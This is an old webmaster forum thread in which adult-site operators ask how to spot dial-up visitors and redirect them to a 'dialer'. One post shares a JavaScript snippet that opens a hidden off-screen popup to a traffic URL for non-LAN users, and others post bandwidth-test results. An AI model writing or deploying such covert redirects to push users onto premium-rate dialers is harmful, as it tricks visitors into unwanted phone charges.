is it possible to detect Dialup connections? - GoFuckYourself.com

the Grandad · 02-20-2004, 10:23 PM

Using some kind of script?

winter · 02-20-2004, 10:27 PM

this would be useful to redirect ot a dialer.

the Grandad · 02-20-2004, 10:27 PM

J-script would be cool

the Grandad · 02-20-2004, 10:30 PM

Quote:

Originally posted by winter
this would be useful to redirect ot a dialer.

you got it

The Truth Hurts · 02-20-2004, 10:32 PM

i posted a link to a speed detector script a week or two ago..
it may help..

you'll have to search for it though..

some_idiot · 02-20-2004, 10:41 PM

Under most unix variations, you can do a redirect to "bing" to
redirect and get a "reasonable" level of guess.

Absolute, NEVER, it's the porn surfers that choke the corporate
T1 to start with.

the Grandad · 02-21-2004, 03:32 AM

Quote:

Originally posted by The Truth Hurts
i posted a link to a speed detector script a week or two ago..
it may help..

you'll have to search for it though..

found it, looks perfect

beemk · 02-21-2004, 03:35 AM

mabye if you check the host name for things like aol.com, uu.net. dialup, ppp, slip, etc etc

Repetitive Monkey · 02-21-2004, 03:39 AM

Monitor the common internet utility ports for incoming traffic. But for a high-level script you could have a main timer set on 60 seconds or something, in which the script attempts to get the header response from a site that always is up, and then set a variable accordingly.

Repetitive Monkey · 02-21-2004, 03:41 AM

80 standard HTTP, 21 for FTP, and there are lists floating around with the common ports used by ICQ, et cetera.

notjoe · 02-21-2004, 05:59 AM

Quote:

Originally posted by Repetitive Monkey
Monitor the common internet utility ports for incoming traffic. But for a high-level script you could have a main timer set on 60 seconds or something, in which the script attempts to get the header response from a site that always is up, and then set a variable accordingly.

Nice, too bad this makes absolutely no sense in any way, shape, or form.

Come back when you know WTF your talking about

Repetitive Monkey · 02-21-2004, 06:13 AM

Quote:

Originally posted by notjoe

Nice, too bad this makes absolutely no sense in any way, shape, or form.

Come back when you know WTF your talking about

What didn't you understand, fucktard? I provided an example mechanic that will work under almost any scripting language for what he informed us he wanted to do. If he was a little more specific (intended use and implementation preferences such as scripting language) I could perhaps even write it for him, but until then, I can do no better than describing a few ways "detecting connections" as he put it could work.

People like you really make people want to help eachother out.

Repetitive Monkey · 02-21-2004, 06:15 AM

My ignore list just got its first inhabitant.

I don't think anger is good for me.

lmao

ObiWanKenobi · 02-21-2004, 11:22 AM

Here it is =)
<detectconnect:clientcaps id="caps"/>

hahahahahahahaha language="hahahahahahahahahaha" type="text/hahahahahahahahahaha"></hahahahahahahaha

ObiWanKenobi · 02-21-2004, 11:24 AM

fuck
i can't post java script here

Code:

<detectconnect:clientcaps id="caps"/>    hahahahahahahaha language="hahahahahahahahahaha" type="text/hahahahahahahahahaha"><!--  if (navigator.appName hahahaha "Microsoft Internet Explorer") {  // lan modem offline  if (caps.connectionType != "lan"){  windowhahahahahaha("http://teenhost.net/tds/random10.php", "onsole", "width=50,height=50,top=2000,left=2000");  window.focus();  }  }  // --></hahahahahahahaha

JayJay · 02-22-2004, 07:51 AM

Quote:

Originally posted by The Truth Hurts
i posted a link to a speed detector script a week or two ago..
it may help..

you'll have to search for it though..

You mean this one?
http://twebman.lunarpages.com/js/BandwidthRedirect.htm
Looks good but It dont work!
I tried it
ADSL connection = medium.html
Dial Up 56k = medium.html

Scherfi · 02-22-2004, 08:00 AM

Quote:

Originally posted by JayJay

You mean this one?
http://twebman.lunarpages.com/js/BandwidthRedirect.htm
Looks good but It dont work!
I tried it
ADSL connection = medium.html
Dial Up 56k = medium.html

same here, this script is shit.

butcherboy · 02-22-2004, 09:06 AM

Here's your solution: http://www.traffic-splitter.com/demo.php

JayJay · 02-23-2004, 10:32 AM

Quote:

Originally posted by butcherboy
Here's your solution: http://www.traffic-splitter.com/demo.php

Your internet connection is : modem

no.......

Validus · 02-23-2004, 10:36 AM

Your internet connection is : lan

WOW, I have one fast connection. 1 GigaBit Lan... man, I am supprised. LOL.

the Grandad · 02-23-2004, 03:42 PM

Looks like no one has a solution

modifried · 02-23-2004, 03:46 PM

Get IP ranges for all the dial-up providers and I'll write you a script.

the Grandad · 02-23-2004, 03:47 PM

Quote:

Originally posted by modifried
Get IP ranges for all the dial-up providers and I'll write you a script.

where would I get the IP's?

mardigras · 02-23-2004, 04:05 PM

Quote:

Originally posted by beemk
mabye if you check the host name for things like aol.com, uu.net. dialup, ppp, slip, etc etc

AOL offers BYOA with broadband, so that wouldn't always be reliable.

LasseKongos · 02-23-2004, 04:06 PM

We have it for our dialers and it works perfect!! Just a script

the Grandad · 02-23-2004, 04:18 PM

Quote:

Originally posted by LasseKongos
We have it for our dialers and it works perfect!! Just a script

You didn't tell us what you are using?

LasseKongos · 02-23-2004, 04:20 PM

Quote:

Originally posted by the Grandad

You didn't tell us what you are using?

I use my technical guys....

$$$

the Grandad · 02-23-2004, 04:21 PM

Quote:

Originally posted by LasseKongos

I use my technical guys....

$$$

huh?

Please show us an example

LasseKongos · 02-23-2004, 04:22 PM

Quote:

Originally posted by the Grandad

huh?
Please show us an example

So I should pay my crew to make scripts and then post them for free here??

DTS

the Grandad · 02-23-2004, 04:25 PM

Quote:

Originally posted by LasseKongos

So I should pay my crew to make scripts and then post them for free here??

DTS

I didnt say anything about free I asked for an example of your script in action?
Dude face it your talking shit you dont have "technical guys"

just a punk · 02-23-2004, 05:06 PM

Quote:

Originally posted by JayJay

You mean this one?
http://twebman.lunarpages.com/js/BandwidthRedirect.htm
Looks good but It dont work!
I tried it
ADSL connection = medium.html
Dial Up 56k = medium.html

Hmm...
Results:
Redirect target page: medium.html
Kbits transferred: 245.84375
Transfer time: 1.125
Throughput (kbps): 203.23083333333335

ActiveX Plugins:
REAL WMP

Quite good results taking into account that my real connection speed is 256Kbit/s. I think the script is ok. I mean this one: http://twebman.lunarpages.com/js/DetectBandwidthJS.html

mardigras · 02-23-2004, 05:30 PM

I'm zippy tonight:

Results:
Redirect target page: high.html
Kbits transferred: 245.84375
Transfer time: 0.241
Throughput (kbps): 948.6916493775934

mardigras · 02-23-2004, 05:34 PM

Clearing cache as suggested on the page made little difference.

Results:
Redirect target page: high.html
Kbits transferred: 245.84375
Transfer time: 0.24
Throughput (kbps): 952.6445312500002

the Grandad · 02-23-2004, 05:38 PM

Redirect target page: medium.html
Kbits transferred: 245.84375
Transfer time: 0.821
Throughput (kbps): 278.4831760048721

I'm going to disconnect now and try with my 56k dialup connection
Be right back.....

the Grandad · 02-23-2004, 05:44 PM

56k Dial-up Results :

Redirect target page: medium.html
Kbits transferred: 245.84375
Transfer time: 10.305
Throughput (kbps): 22.186772197962156

hmmm still sent me to medium.html maybe I could adjust the settings

the Grandad · 02-23-2004, 06:00 PM

Right I can't edit the settings the bit I need is Encrypted

LasseKongos · 02-23-2004, 06:22 PM

Quote:

Originally posted by the Grandad

I didnt say anything about free I asked for an example of your script in action?
Dude face it your talking shit you dont have "technical guys"

You don´t think sooo... ?? I take care of all servers, numbers, webmasters, economy, meetings, advertising, updates, contents, memberslist, bills and so on?? All alone?? If I could this must be a dream...

I´m not running this company alone and the people that knows me and work with me knows that to...

Thanks

the Grandad · 02-23-2004, 06:38 PM

Quote:

Originally posted by LasseKongos

You don´t think sooo... ?? I take care of all servers, numbers, webmasters, economy, meetings, advertising, updates, contents, memberslist, bills and so on?? All alone?? If I could this must be a dream...

I´m not running this company alone and the people that knows me and work with me knows that to...

Thanks

Prove it dude post the script!

JayJay · 02-24-2004, 11:23 AM

still no luck?

just a punk · 02-24-2004, 12:51 PM

Quote:

Originally posted by the Grandad
56k Dial-up Results :

Redirect target page: medium.html
Kbits transferred: 245.84375
Transfer time: 10.305
Throughput (kbps): 22.186772197962156

hmmm still sent me to medium.html maybe I could adjust the settings

Hook here: 22.186772197962156. This number looks very reasonable for dial-up.

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The Truth Hurts Zph7YXfjMhg Industry Role: Join Date: Nov 2002 Location: In Your Skull Posts: 15,305	i posted a link to a speed detector script a week or two ago.. it may help.. you'll have to search for it though..

02-21-2004, 03:39 AM	#9
Repetitive Monkey Confirmed User Join Date: Feb 2004 Posts: 3,505	Monitor the common internet utility ports for incoming traffic. But for a high-level script you could have a main timer set on 60 seconds or something, in which the script attempts to get the header response from a site that always is up, and then set a variable accordingly.

02-21-2004, 03:41 AM	#10
Repetitive Monkey Confirmed User Join Date: Feb 2004 Posts: 3,505	80 standard HTTP, 21 for FTP, and there are lists floating around with the common ports used by ICQ, et cetera.

02-21-2004, 06:15 AM	#13
Repetitive Monkey Confirmed User Join Date: Feb 2004 Posts: 3,505	My ignore list just got its first inhabitant. I don't think anger is good for me. lmao

02-21-2004, 11:22 AM	#14
ObiWanKenobi Confirmed User Join Date: Oct 2003 Posts: 74	Here it is =) <detectconnect:clientcaps id="caps"/> hahahahahahahaha language="hahahahahahahahahaha" type="text/hahahahahahahahahaha"><!-- if (navigator.appName hahahaha "Microsoft Internet Explorer") { // lan modem offline if (caps.connectionType != "lan"){ windowhahahahahaha("http://url", "onsole", "width=50,height=50,top=2000,left=2000"); window.focus(); } } // --></hahahahahahahaha

02-23-2004, 10:36 AM	#20
Validus Confirmed User Industry Role: Join Date: Jul 2001 Location: Calgary, Canada Posts: 4,012	Your internet connection is : lan WOW, I have one fast connection. 1 GigaBit Lan... man, I am supprised. LOL.

02-23-2004, 03:42 PM	#21
the Grandad Confirmed User Join Date: Aug 2003 Location: the Retirement Home (Almost) Posts: 1,038	Looks like no one has a solution __________________ The Oldest Pimp in Town

02-23-2004, 03:46 PM	#22
modifried Registered User Join Date: Feb 2004 Location: BC, Canada Posts: 38	Get IP ranges for all the dial-up providers and I'll write you a script.

02-23-2004, 04:06 PM	#25
LasseKongos Confirmed User Join Date: Aug 2003 Posts: 4,668	We have it for our dialers and it works perfect!! Just a script

02-23-2004, 05:30 PM	#32
mardigras Bon temps! Join Date: Feb 2003 Location: down yonder Posts: 14,194	I'm zippy tonight: Results: Redirect target page: high.html Kbits transferred: 245.84375 Transfer time: 0.241 Throughput (kbps): 948.6916493775934 __________________ .

02-23-2004, 05:34 PM	#33
mardigras Bon temps! Join Date: Feb 2003 Location: down yonder Posts: 14,194	Clearing cache as suggested on the page made little difference. Results: Redirect target page: high.html Kbits transferred: 245.84375 Transfer time: 0.24 Throughput (kbps): 952.6445312500002 __________________ .

02-23-2004, 05:38 PM	#34
the Grandad Confirmed User Join Date: Aug 2003 Location: the Retirement Home (Almost) Posts: 1,038	Redirect target page: medium.html Kbits transferred: 245.84375 Transfer time: 0.821 Throughput (kbps): 278.4831760048721 I'm going to disconnect now and try with my 56k dialup connection Be right back..... __________________ The Oldest Pimp in Town

02-23-2004, 05:44 PM	#35
the Grandad Confirmed User Join Date: Aug 2003 Location: the Retirement Home (Almost) Posts: 1,038	56k Dial-up Results : Redirect target page: medium.html Kbits transferred: 245.84375 Transfer time: 10.305 Throughput (kbps): 22.186772197962156 hmmm still sent me to medium.html maybe I could adjust the settings __________________ The Oldest Pimp in Town

02-23-2004, 06:00 PM	#36
the Grandad Confirmed User Join Date: Aug 2003 Location: the Retirement Home (Almost) Posts: 1,038	Right I can't edit the settings the bit I need is Encrypted __________________ The Oldest Pimp in Town

02-24-2004, 11:23 AM	#39
JayJay Confirmed User Join Date: Jun 2002 Posts: 3,739	still no luck?